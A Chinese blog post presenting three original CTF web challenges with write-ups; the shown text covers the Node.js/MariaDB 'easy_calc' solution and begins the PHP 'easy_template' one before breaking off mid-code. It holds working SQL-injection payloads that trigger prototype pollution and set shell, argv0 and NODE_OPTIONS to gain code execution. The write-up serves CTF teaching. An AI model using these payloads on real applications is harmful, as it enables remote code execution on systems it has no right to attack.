{"id":1740,"date":"2023-01-12T15:49:35","date_gmt":"2023-01-12T07:49:35","guid":{"rendered":"https:\/\/cf.mnihyc.com\/blog\/?p=1740"},"modified":"2023-09-02T00:15:15","modified_gmt":"2023-09-01T16:15:15","slug":"ctf-web-%e5%8e%9f%e5%88%9b%e9%a2%98%e4%b8%89%e9%81%93","status":"publish","type":"post","link":"https:\/\/cf.mnihyc.com\/blog\/archives\/1740","title":{"rendered":"CTF Web \u539f\u521b\u9898\u4e09\u9053"},"content":{"rendered":"<p>\u4e3a\u4e0d\u5b58\u5728\u7684\u6821\u5185\u8d5b\u51fa\u4e86\u4e09\u9053\uff08\u53ef\u80fd\u4f1a\u88ab\u91c7\u7528\uff09\u7684 CTF \u9898\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\u3002<\/p>\n<p>\u9898\u4e00\uff1aeasy_calc \uff0c\u6d89\u53ca Node.js\u3001SQL\uff1b<\/p>\n<p>\u9898\u4e8c\uff1aeasy_template\uff0c\u6d89\u53ca PHP\uff1b<\/p>\n<p>\u9898\u4e09\uff1aeasy_pickle\uff0c\u6d89\u53ca Python\u3002<\/p>\n<p>\u63d0\u4f9b\u5404\u9898 docker \u73af\u5883\uff0c\u8bbe\u8ba1\u601d\u8def\u53ca\u5177\u4f53 write-up\uff1b\u57fa\u4e8e Apache 2.0 License\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><!--more--><\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<ul>\n<li>\n<h2><strong>\u76ee\u5f55<\/strong><\/h2>\n<ul>\n<li>\n<h4><a href=\"#env\">\u9898\u76ee\u73af\u5883<\/a><\/h4>\n<\/li>\n<li>\n<h4>write-ups<\/h4>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li>\n<p><a href=\"#wp_calc\"><strong>easy_calc<\/strong><\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#wp_template\"><strong>easy_template<\/strong><\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#wp_pickle\"><strong>easy_pickle<\/strong><\/a><\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><a id=\"env\"><\/a>\u00a0<\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<ul>\n<li>\n<h3>\u9898\u76ee\u73af\u5883<\/h3>\n<\/li>\n<\/ul>\n<p>\u9898\u4e00\uff1a\u9644\u4ef6 <a href=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2023\/01\/easy_calc.rar\">easy_calc.rar<\/a> \uff0c\u63d0\u4f9b\u642d\u5efa\u597d\u7684\u73af\u5883\u7f51\u5740\u4e0e<strong>\u6b64\u9644\u4ef6<\/strong>\uff1b<span style=\"color: #ffffff;\">\uff08\u524d\u7aef\u4ee3\u7801\u6709\u6240\u53c2\u8003\uff09<\/span><\/p>\n<p>\u9898\u4e8c\uff1a\u9644\u4ef6 <a href=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2023\/01\/easy_template.rar\">easy_template.rar<\/a> \uff0c<strong>\u4ec5\u63d0\u4f9b<\/strong>\u642d\u5efa\u597d\u7684\u73af\u5883\u7f51\u5740\uff1b<span style=\"color: #ffffff;\">\uff08\u6807\u9898\u4e0e\u8003\u70b9\u5b8c\u5168\u65e0\u5173\uff09<\/span><\/p>\n<p>\u9898\u4e09\uff1a\u9644\u4ef6 <a href=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2023\/01\/easy_pickle.rar\">easy_pickle.rar<\/a> \uff0c<strong>\u4ec5\u63d0\u4f9b<\/strong>\u642d\u5efa\u597d\u7684\u73af\u5883\u7f51\u5740\u3002<span style=\"color: #ffffff;\">\uff08\u603b\u611f\u89c9\u6bd4\u8f83\u9e21\u808b\uff09<\/span><\/p>\n<p>\u51fa\u4e8e\u5b89\u5168\u8003\u8651\uff0c\u73af\u5883\u7f51\u5740\u5c31\u4e0d\u516c\u5f00\u63d0\u4f9b\u4e86\uff0c\u6709\u5174\u8da3\u7684\u8bdd\u53ef\u4ee5\u81ea\u884c\u642d\u5efa\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><a id=\"wp_calc\"><\/a>\u00a0<\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<ul>\n<li>\n<h3><strong>easy_calc<\/strong><\/h3>\n<\/li>\n<\/ul>\n<p>\uff08\u540c\u65f6\u63d0\u4f9b PDF \u7248\uff1a<a href=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2023\/01\/writeup_easy_calc.pdf\">writeup_easy_calc.pdf<\/a>\uff09<\/p>\n<p>\u73af\u5883\u5206\u6790\uff1a.\/front\/ \u7528\u4e8e\u524d\u7aef\u53cd\u4ee3\uff08\u975e\u6f0f\u6d1e\u70b9\uff09\uff0cmariadb \u4e3a\u540e\u7aef\u6570\u636e\u5e93\uff08innodb \u53ea\u8bfb\uff09\uff0c.\/calc\/ \u4e3a\u6f0f\u6d1e\u4ee3\u7801\u5904\uff1b\u4f7f\u7528 node 19.3.0 \u9ad8\u7248\u672c\uff0cmariadb-connector-nodejs 3.0.2 \uff08\u6b64\u6587\u7ae0\u53d1\u8868\u65f6\u7684\u6700\u65b0\u7248\u672c\uff09\u3002<\/p>\n<p>\u5173\u952e\u4ee3\u7801\u7247\u6bb5 .\/calc\/index.js \u5982\u4e0b\uff1a<\/p>\n<pre class=\"mark:9,19,24,35 minimize:true lang:js decode:true \">const fs = require('fs')\r\nconst mariadb = require('mariadb');\r\n\r\nconst pool = mariadb.createPool({\r\n  host: 'db', \r\n  user: 'root', \r\n  password: 'root',\r\n  pipelining: true,\r\n  nestTables: true,\r\n  connectionLimit: 100,\r\n  connectTimeout: 1000,\r\n  multipleStatements: false\r\n});\r\n\r\nconst ret = function(str) {\r\n \r\n  \/\/ As simple as this. Enjoy your flag!\r\n  try {\r\n    require('child_process').execFileSync('\/readflag', null, { stdio: 'ignore', env: null });\r\n  } catch(e) {\r\n    str = e.toString();\r\n  }\r\n  \r\n  fs.writeFileSync('.\/ret', JSON.stringify(str), 'utf-8');\r\n  \r\n  process.exit(0);\r\n\r\n};\r\n\r\nconst expr = fs.readFileSync('.\/expr', 'utf-8').toString('utf-8').trim();\r\n\r\npool.getConnection().then(conn =&gt; {\r\n  \/\/ Absolutely safe. Unexploitable when read-only.\r\n  conn.query('SET SESSION TRANSACTION READ ONLY').then((res) =&gt; {\r\n    conn.query(`SELECT (${expr})`).then((res) =&gt; {\r\n      conn.end();\r\n      ret(Object.values(Object.values(res[0])[0])[0]);\r\n    })\r\n    .catch(err =&gt; {\r\n      conn.end();\r\n      ret(err);\r\n    })\r\n  })\r\n  .catch(err =&gt; {\r\n    conn.end();\r\n    ret(err);\r\n  })      \r\n}).catch(err =&gt; {\r\n  ret(err);\r\n});<\/pre>\n<p>\u6ce8\u610f\u5230 Line 9 \u5904\u6709\u4e00\u4e2a\u522b\u6837\u7684\u53c2\u6570\uff1anestTables \uff08\u9ed8\u8ba4\u4e3a false\uff09\uff1b<\/p>\n<p><span class=\"md-plain md-expand\">\u5176\u6548\u679c\u4e3a\u5c06\u5f53\u524d\u67e5\u8be2\u7684\u8868\u540d\u4e00\u5e76\u7eb3\u5165\u7ed3\u679c\u4e2d\uff0c\u5982 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>select test_column from db.table_abc<\/code><\/span><span class=\"md-plain md-expand\"> \u65f6\uff0c\u8fd4\u56de\u503c\u5982\u4e0b\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:js decode:true \">[ { table_abc: { test_column: 'content' } } ]<\/pre>\n<p><span class=\"md-plain md-expand\">\u5173\u6ce8\u5176\u6e90\u4ee3\u7801 <\/span><span class=\"md-meta-i-c  md-link\"><a href=\"https:\/\/github.com\/mariadb-corporation\/mariadb-connector-nodejs\/blob\/452d27894b36384ee0633218721ebeccc1c2eb94\/lib\/cmd\/parser.js#L491\"><span class=\"md-plain\">\/mariadb-corporation\/lib\/cmd\/parser.js#L491<\/span><\/a><\/span><span class=\"md-plain md-expand\"> \uff1a<\/span><\/p>\n<pre class=\"nums:false lang:js mark:6 decode:true \" title=\"L486 - L491\">parseRowNested(columns, packet) {\r\n  const row = {};\r\n  \/\/ ...\r\n  for (let i = 0; i &lt; this._columnCount; i++) {\r\n    if (!row[this.tableHeader[i][0]]) row[this.tableHeader[i][0]] = {};\r\n    row[this.tableHeader[i][0]][this.tableHeader[i][1]] = \/\/ ......\r\n             \/* NOTICE THIS ^^^^^^ *\/<\/pre>\n<p><span class=\"md-plain md-expand\">\u800c\u5728\u4e0a\u9762 <\/span><span class=\"md-meta-i-c  md-link\"><a href=\"https:\/\/github.com\/mariadb-corporation\/mariadb-connector-nodejs\/blob\/452d27894b36384ee0633218721ebeccc1c2eb94\/lib\/cmd\/parser.js#L268\"><span class=\"md-plain\">#L268<\/span><\/a><\/span><span class=\"md-plain md-expand\"> \u5904\uff0c\u5f53 nestTables \u542f\u7528\u65f6\u8fd9\u4fe9\u53c2\u6570\u90fd\u76f4\u63a5\u4ece select \u7684\u7ed3\u679c\u800c\u6765\uff1a<\/span><\/p>\n<pre class=\"nums:false lang:js mark:4 decode:true \" title=\"L265 - L269\">} else if (this.opts.nestTables === true) {\r\n  this.parseRow = this.parseRowNested;\r\n  for (let i = 0; i &lt; this._columnCount; i++) {\r\n    this.tableHeader[i] = [this._columns[i].table(), this._columns[i].name()];\r\n  }\r\n  \/\/ ...<\/pre>\n<p><span class=\"md-plain md-expand\">\u4e5f\u5c31\u662f\u8bf4\uff0c\u6709\u4e00\u79cd\u53ef\u80fd\uff0c\u5f53\u8868\u540d\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>__proto__<\/code><\/span><span class=\"md-plain\"> \u65f6\uff0c\u4ee3\u7801\u8986\u76d6\u4e86 row \u5373 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>{}<\/code><\/span><span class=\"md-plain\"> \u7684\u539f\u578b\uff0c\u9020\u6210<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u539f\u578b\u94fe\u6c61\u67d3<\/span><\/strong><\/span><span class=\"md-plain md-expand\">\u3002<\/span><\/p>\n<p><span class=\"md-plain md-expand\">\u5373\u73b0\u5728\u9700\u8981\u63a7\u5236 SELECT \u51fa\u6765\u7684\u8868\u540d\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>__proto__<\/code><\/span><span class=\"md-plain md-expand\"> \uff0c\u9879\u540d\u4e3a\u4efb\u610f\u53d8\u91cf\uff08\u5b57\u7b26\u4e32\uff09\u3002<\/span><\/p>\n<p>\u4f46\u7531\u4e8e\u8fd9\u91cc\u7684\u6570\u636e\u5e93\u662f read-only\uff0c\u65e0\u6cd5\u5bf9\u5b9e\u9645\u7684\u8868\u6216\u9879\u8fdb\u884c\u64cd\u4f5c\uff0c\u4e8e\u662f\u6ce8\u610f\u5230 SELECT AS \u8fd9\u79cd\u8bed\u6cd5\u3002<\/p>\n<pre class=\"toolbar:2 nums:false lang:mysql decode:true \">SELECT 'any_value' AS any_variable FROM sys.sys_config AS any_table<\/pre>\n<p><span class=\"md-plain md-expand\">\u800c\u8fd9\u6837\u867d\u53ef\u4ee5\u63a7\u5236\u9879\u540d\uff0c\u4f46\u7531\u4e8e <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>'any_value'<\/code><\/span><span class=\"md-plain md-expand\"> \u4e0d\u662f\u5b9e\u9645\u8868\u4e2d\u7684\u5b9e\u9645\u9879\uff0c\u6240\u4ee5\u7ed3\u679c\u4e2d\u8fd9\u4e00\u9879\u7684\u8868\u540d\u4e3a\u7a7a\uff0c\u4e0d\u53ef\u63a7\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:js decode:true \">{ '': { any_variable: 'any_value' } }<\/pre>\n<p><span class=\"md-plain md-expand\">\u6b64\u65f6\u6ce8\u610f\u5230\u6709\u4e00\u79cd <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">select without from<\/span><\/strong><\/span><span class=\"md-plain\">\uff08<\/span><span class=\"md-meta-i-c  md-link\"><a href=\"https:\/\/modern-sql.com\/use-case\/select-without-from\"><span class=\"md-plain\">\u53c2\u8003<\/span><\/a><\/span><span class=\"md-plain md-expand\">\uff09\u7684\u5199\u6cd5\uff0c\u5728\u9898\u76ee\u73af\u5883\u7684 mariadb \u8868\u793a\u4e3a\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:mysql decode:true \">SELECT `any_variable` FROM (VALUES ('any_variable'), ('any_value')) AS any_table<\/pre>\n<pre class=\"toolbar:2 nums:false lang:js decode:true \">{ any_table: { any_variable: 'any_variable' } }\r\n{ any_table: { any_variable: 'any_value' } }<\/pre>\n<p>\u6210\u529f\u63a7\u5236\u8868\u540d\u3001\u9879\u540d\u53ca\u5185\u5bb9\uff0c\u81f3\u6b64\u5373\u53ef\u6c61\u67d3\u73af\u5883\u4e2d\u539f\u578b\u94fe\u4e0a\u7684\u4efb\u610f\u53d8\u91cf\uff0c\u95ed\u5408\u62ec\u53f7\u7684 payload\uff1a<\/p>\n<pre class=\"toolbar:2 nums:false lang:mysql decode:true \">1),`var1`,`var2` FROM (VALUES ('var1','var2'),('123','456')) AS __proto__ -- #<\/pre>\n<p>\u8fd9\u65f6\u6ce8\u610f\u5230 calc\/index.js \u4e2d\u5df2\u7ecf\u7ed9\u4e86\u4e00\u4e2a execFileSync \u4f5c\u4e3a\u89e6\u53d1\u70b9\uff0c\u5c1d\u8bd5\u6c61\u67d3\u5176\u4e3a\u4efb\u610f\u4ee3\u7801\u6267\u884c\uff1a<\/p>\n<pre class=\"nums:false lang:js mark:2,7 decode:true \" title=\".\/calc\/index.js    L18 - L24\">try {\r\n  require('child_process').execFileSync('\/readflag', null, { stdio: 'ignore', env: null });\r\n} catch(e) {\r\n  str = e.toString();\r\n}\r\n\r\nfs.writeFileSync('.\/ret', JSON.stringify(str), 'utf-8');<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u65b0\u7248 node \u4e2d\u9ed8\u8ba4\u4f7f options \u4e3a kEmptyObject\uff08<\/span><span class=\"md-meta-i-c  md-link\"><a href=\"https:\/\/github.com\/nodejs\/node\/blob\/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40\/lib\/child_process.js#L285\"><span class=\"md-plain\">\/lib\/child_process.js#L285<\/span><\/a><\/span><span class=\"md-plain\">\uff09\uff0cexecFile \u51fd\u6570\u524d\u65b0\u589e\u4e86\u5404\u79cd\u9ed8\u8ba4 options \u53c2\u6570\u4e3a null \u6216 false \u7684\u5224\u65ad\uff08<\/span><span class=\"md-meta-i-c  md-link\"><a href=\"https:\/\/github.com\/nodejs\/node\/blob\/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40\/lib\/child_process.js#L336\"><span class=\"md-plain\">#L336<\/span><\/a><\/span><span class=\"md-plain\">\uff09\uff0c\u4f46\u9898\u76ee\u73af\u5883\u4e2d\u7684\u5199\u6cd5\u5bfc\u81f4\u5176\u53ef\u4ee5\u88ab\u6c61\u67d3\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6ce8\u610f\u5230 <\/span><span class=\"md-meta-i-c  md-link\"><a href=\"https:\/\/github.com\/nodejs\/node\/blob\/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40\/lib\/child_process.js#L635\"><span class=\"md-plain\">#L635<\/span><\/a><\/span><span class=\"md-plain\"> \u5904\uff0c\u6c61\u67d3 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">options.shell<\/span><\/strong><\/span><span class=\"md-plain\"> \u53ef\u4ee5\u66ff\u6362\u5f53\u524d\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff1b<\/span><span class=\"md-meta-i-c  md-link\"><a href=\"https:\/\/github.com\/nodejs\/node\/blob\/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40\/lib\/child_process.js#L645\"><span class=\"md-plain\">#L645<\/span><\/a><\/span><span class=\"md-plain\"> \u5904\uff0c\u6c61\u67d3 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">options.argv0<\/span><\/strong><\/span><span class=\"md-plain\"> \u53ef\u4ee5\u66ff\u6362 argv0 \u5373 cmdline\uff1boptions.env \u4e3a null \u65e0\u6cd5\u88ab\u6c61\u67d3\uff0c\u4f46 <\/span><span class=\"md-meta-i-c  md-link\"><a href=\"https:\/\/github.com\/nodejs\/node\/blob\/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40\/lib\/child_process.js#L672\"><span class=\"md-plain\">#L672<\/span><\/a><\/span><span class=\"md-plain\"> \u5904\u8fd9\u4e2a for \u7531\u4e8e\u6c61\u67d3\u4e86 {} \u7684\u539f\u578b\u5c31\u4f1a\u5c06\u6240\u6709\u88ab\u6c61\u67d3\u7684\u53d8\u91cf\u90fd\u6dfb\u52a0\u8fdb\u53bb\uff0c\u56e0\u6b64<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u73af\u5883\u53d8\u91cf<\/span><\/strong><\/span><span class=\"md-plain\">\u5b9e\u9645\u4e0a\u4e5f\u662f\u53ef\u63a7\u7684\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u4f46\u540c\u65f6\u6ce8\u610f\u5230\u9898\u76ee\u73af\u5883\u4e2d\u6240\u6709\u7684\u53ef\u6267\u884c\u6587\u4ef6\u90fd\u88ab\u5220\u9664\uff0c\u53ea\u7559\u4e86\u4e2a nodejs\uff0c\u60f3\u5230 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">NODE_OPTIONS<\/span><\/strong><\/span><span class=\"md-plain\"> \u53ef\u4ee5\u7528\u6765\u6ce8\u5165 js \u547d\u4ee4\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u6545\u6c61\u67d3\u5982\u4e0b\u7684\u53d8\u91cf\uff0c\u5373\u53ef\u4efb\u610f\u4ee3\u7801\u6267\u884c\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 lang:js decode:true \">const a = {};\r\na.__proto__.shell = '\/usr\/local\/bin\/node';\r\na.__proto__.argv0 = '\/* CODE HERE *\/ process.exit(0); \/\/';\r\na.__proto__.NODE_OPTIONS = '--require \/proc\/self\/cmdline';<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u4f46\u6b64\u65f6\u6ce8\u610f\u5230 calc\/index.js \u662f\u5728 execFileSync \u540e\u624d\u5c06\u7ed3\u679c\u5199\u5165 .\/ret\uff0c\u6545\u5373\u4f7f\u5728 argv0 \u5904\u5c06 \/readflag \u7684\u7ed3\u679c\u5199\u5165 .\/ret \u4e5f\u4f1a\u88ab\u8986\u76d6\uff0c\u65e0\u6cd5\u5f97\u5230\u56de\u663e\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u53d1\u73b0\u9898\u76ee\u73af\u5883\u4e2d docker \u5165\u53e3\u70b9\u4e3a\u81ea\u5b9a\u4e49\u7a0b\u5e8f watcher \uff0c\u89c2\u5bdf\u5176\u6d41\u7a0b\uff1a<\/span><\/p>\n<pre class=\"lang:c mark:3,8,18 decode:true \" title=\".\/calc\/watcher.c        essential part\">pid_t pid = 0;\r\nvoid timer_handler(int pid) {\r\n  kill(pid, SIGKILL);\r\n}\r\n\r\nint main(int argc, char**argv) {\r\n  remove(argv[0]);\r\n  signal(SIGALRM, timer_handler);\r\n  pid = fork();\r\n  if (pid == 0) {\r\n    setgid(65534);\r\n    setuid(65534);\r\n    if (argc &gt; 1) {\r\n      execvp(argv[1], argv+1);\r\n    }\r\n    return 0;\r\n  }\r\n  alarm(2);\r\n  int state;\r\n  waitpid(pid, &amp;state, 0);\r\n  return 0;\r\n}<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5224\u65ad\u82e5\u6267\u884c\u8d85\u65f6\u5219\u5f3a\u5236\u7ed3\u675f\u5b50\u8fdb\u7a0b\uff08\u5373 node\uff09\u7684\u6267\u884c\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6b64\u65f6\u6ce8\u610f\u5230\u4ec5\u9700\u8ba9\u4e3b\u7a0b\u5e8f node index.js \u6267\u884c<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u8d85\u65f6<\/span><\/strong><\/span><span class=\"md-plain\">\u5373\u4f1a\u88ab\u6740\u6389\uff0c.\/ret \u7684\u5185\u5bb9\u4e5f\u5c31\u4e0d\u4f1a\u88ab\u8986\u76d6\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u5199\u5165 .\/ret \u540e\u6b7b\u5faa\u73af\u5373\u53ef\uff0c\u4ee5\u4e0b\u4e3a argv0 \u7684\u4ee3\u7801\u5185\u5bb9\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:js decode:true \">require(\"fs\").writeFileSync(\".\/ret\",require(\"child_process\").execFileSync(\"\/readflag\").toString());\r\nlet i=1;while(i++)i--;\r\nprocess.exit(0); \/\/<\/pre>\n<p>\u6700\u7ec8\u7684 payload\uff1a<\/p>\n<pre class=\"toolbar:2 nums:false lang:mysql decode:true \">1),`shell`,`NODE_OPTIONS`,`argv0` FROM (VALUES ('shell','NODE_OPTIONS','argv0'), ('\/usr\/local\/bin\/node','--require \/proc\/self\/cmdline','require(\"fs\").writeFileSync(\".\/ret\",require(\"child_process\").execFileSync(\"\/readflag\").toString()); let i=1;while(i++)i--; process.exit(0);\/\/')) AS __proto__ -- #<\/pre>\n<p>\u51fa\u9898\u540e\u8bdd\uff1a\u539f\u578b\u94fe\u6c61\u67d3\u4e0a\u5934\u4e86\u4e4b\u540e\uff0c\u5728\u4e00\u4e2a\u5e73\u9759\u7684\u5348\u540e\uff0c\u6beb\u65e0\u5f81\u5146\u5730\u5c31\u4f1a\u60f3\u5230 SQL \u67e5\u8be2\u65f6\u4e5f\u53ef\u80fd\u5b58\u5728\u4e8c\u7ef4\u6570\u7ec4\u7684\u8986\u76d6\u3002\u800c mysqljs\/mysql \u4e2d\u4f7f\u7528\u4e86\u4e00\u4e2a\u81ea\u5b9a\u4e49 class \u5bfc\u81f4\u65e0\u6cd5\u8986\u76d6\u5230\u4e0a\u5c42\u539f\u578b\u94fe\uff0cpgSQL \u73a9\u4e0d\u592a\u660e\u767d\uff0c\u6298\u4e2d\u9009\u62e9\u4e86 mariadb\u3002\u53e6\u5916\uff0c\u524d\u7aef\u90e8\u5206\u4ee3\u7801\u5176\u5b9e\u6765\u6e90\u4e8e\u67d0\u573a\u6bd4\u8d5b\u4e2d\u9047\u5230\u7684\u67d0\u4e2a NodeJS \u9898\uff0c\u7531\u4e8e\u81ea\u5df1\u6280\u827a\u4e0d\u7cbe\uff0cdockerode \u8fd8\u662f\u7b2c\u4e00\u6b21\u5728\u90a3\u89c1\u5230\u7684\uff0c\u4e5f\u7b97\u662f\u4e00\u79cd\u542f\u53d1\u5427\uff08\u8bfb\u4e66\u4eba\u7684\u4e8b\u60c5\uff0c\u600e\u4e48\u80fd\u8bf4\u662f&#8230;&#8230;\uff09\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><a id=\"wp_template\"><\/a>\u00a0<\/p>\n<hr \/>\n<ul>\n<li>\n<h3><strong>easy_template<\/strong><\/h3>\n<\/li>\n<\/ul>\n<p>\uff08\u540c\u65f6\u63d0\u4f9b PDF \u7248\uff1a<a href=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2023\/01\/writeup_easy_template.pdf\">writeup_easy_template.pdf<\/a>\uff09<\/p>\n<p>\u73af\u5883\u5206\u6790\uff1a\u4e0d\u63d0\u4f9b\u9644\u4ef6\uff0c\u5728 www.zip \u5904\u53ef\u4ee5\u4e0b\u5230\u7f51\u7ad9\u6e90\u4ee3\u7801\u3002<\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain md-expand\">\u529f\u80fd\u4e0d\u591a\uff0c\u7ed3\u6784\u6bd4\u8f83\u6e05\u6670\uff0chello.php \u4e3a\u4e3b\u5165\u53e3\u70b9\uff0ctemplate.php \u4e3a\u7b80\u5355\u7684\u6a21\u677f\u6e32\u67d3\u51fd\u6570\uff1b<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">hello.tpl \u4e3a\u7b80\u5355\u6a21\u677f\uff0c\u652f\u6301\u4e24\u79cd\u683c\u5f0f\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:default decode:true \">{\\ %name% \/} # \u83b7\u53d6\u5e76\u63d2\u5165\uff08\u66ff\u6362\uff09\u53d8\u91cf\r\n{\\ func('para'); unsafe \/} # \u6267\u884c\u7b80\u5355\u51fd\u6570<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u9996\u5148\u5f97\u641e\u6e05\u695a template.php \u91cc\u90a3\u4e00\u5806\u6b63\u5219\u5230\u5e95\u662f\u5565\u60c5\u51b5\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u7ed1\u5b9a\u5230\u6a21\u677f\u7684\u53c2\u6570\uff08\u901a\u8fc7 GET \u83b7\u53d6\uff09\u9996\u5148\u7ecf\u8fc7 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>check_invalid_vars()<\/code><\/span><span class=\"md-plain md-expand\"> \u7684\u8fc7\u6ee4\uff1a<\/span><\/p>\n<pre class=\"lang:php mark:4 decode:true \" title=\"template.php         L3 - L9\">function check_invalid_vars($vars)\r\n{\r\n  foreach ($vars as $key =&gt; $value)\r\n    if (!is_string($value) || preg_match('\/\\{\\\\\\\\|\\\/\\}|\\'|;\/', $value))\r\n      return true;\r\n  return false;\r\n}<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5373\u4e0d\u80fd\u542b\u6709 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>{\\<\/code><\/span> <span class=\"md-pair-s\" spellcheck=\"false\"><code>\/}<\/code><\/span> <span class=\"md-pair-s\" spellcheck=\"false\"><code>'<\/code><\/span> <span class=\"md-pair-s\" spellcheck=\"false\"><code>;<\/code><\/span><span class=\"md-plain\"> \u8fd9\u56db\u79cd\u6837\u5f0f\uff0c\u8fc7\u6ee4\u4e86\u6a21\u677f\u6807\u8bc6\uff0c\u63d2\u5165\u53d8\u91cf\u540e\u7684\u6807\u8bc6\u53ca\u7b80\u5355\u51fd\u6570\u6267\u884c\u6807\u8bc6\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6a21\u677f\u5904\u7406\u4e3b\u5faa\u73af\u4f4d\u4e8e <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>parse_template_string()<\/code><\/span><span class=\"md-plain\"> \u5904\uff1a<\/span><\/p>\n<pre class=\"lang:php mark:1,5 decode:true \" title=\"template.php          L44 - L49\">while (preg_match_all('\/(\\{\\\\\\\\.*?\\\/\\})\/is', $str, $matches))\r\n{\r\n  array_shift($matches);\r\n  foreach ($matches as $cmd)\r\n    $str = str_replace($cmd[0], command_handler($cmd[0], $vars, $funcs), $str);\r\n}<\/pre>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u53ef\u4ee5\u53d1\u73b0\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2a\u5173\u4e8e <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>preg_match_all()<\/code><\/span><span class=\"md-plain\"> \u7684\u8fd4\u56de\u503c <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>$matches<\/code><\/span><span class=\"md-plain\"> \u7684\u8ba4\u8bc6\u4e0a\u7684\u9519\u8bef\uff1a<\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>$matches[0]<\/code><\/span><span class=\"md-plain\"> \u548c <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>$matches[1]<\/code><\/span><span class=\"md-plain md-expand\"> \u624d\u5206\u522b\u5bf9\u5e94\u5b8c\u6574\u7684\u3001\u62ec\u53f7\u5185\u7684\u8868\u8fbe\u5f0f\u6570\u7ec4\uff0c\u6309\u7167\u5982\u4e0a\u51fd\u6570\u7684\u5199\u6cd5\u53ea\u80fd\u83b7\u53d6\u5230\u7b2c\u4e00\u4e2a\u975e\u8d2a\u5a6a\u5339\u914d <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\\{ .*? \/}<\/code><\/span><span class=\"md-plain\"> \u7684\u7ed3\u679c\uff0c\u5b9e\u8d28\u4e0a\u7b49\u540c\u4e8e <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>preg_match()<\/code><\/span><span class=\"md-plain\">\uff0c\u907f\u514d\u4e86\u524d\u540e\u65b9\u540c\u65f6\u66ff\u6362\u7684\u60c5\u51b5\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6765\u770b\u5904\u7406\u7b80\u5355\u6a21\u677f\u547d\u4ee4\u7684\u51fd\u6570 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>command_handler()<\/code><\/span><span class=\"md-plain\">\uff1a<\/span><\/p>\n<pre class=\"lang:php mark:1,5 decode:true \" title=\"template.php         L21 - L26\">if (preg_match_all('\/\\%(.*)\\%\/is', $cmd, $matches))\r\n{\r\n  array_shift($matches);\r\n  foreach ($matches as $var)\r\n    $hdl = str_replace('%'.$var[0].'%', \"'\".get_var($var[0], $vars).\"'\", 